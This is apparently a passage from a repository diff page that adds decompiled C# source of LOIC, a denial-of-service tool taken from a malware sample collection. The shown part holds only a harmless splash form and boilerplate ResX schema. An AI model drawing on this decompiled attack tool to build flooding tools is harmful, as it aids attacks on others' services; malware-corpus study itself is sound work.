<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.frmWtf
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using LOIC.Properties;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public class frmWtf : Form
|
||||
{
|
||||
private IContainer components;
|
||||
|
||||
public frmWtf() => this.InitializeComponent();
|
||||
|
||||
private void frmWtf_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
private void frmWtf_KeyDown(object sender, KeyEventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackgroundImage = (Image) Resources.WTF;
|
||||
this.ClientSize = new Size(416, 300);
|
||||
this.ControlBox = false;
|
||||
this.Name = nameof (frmWtf);
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Click += new EventHandler(this.frmWtf_Click);
|
||||
this.KeyDown += new KeyEventHandler(this.frmWtf_KeyDown);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
Reference in New Issue
Block a user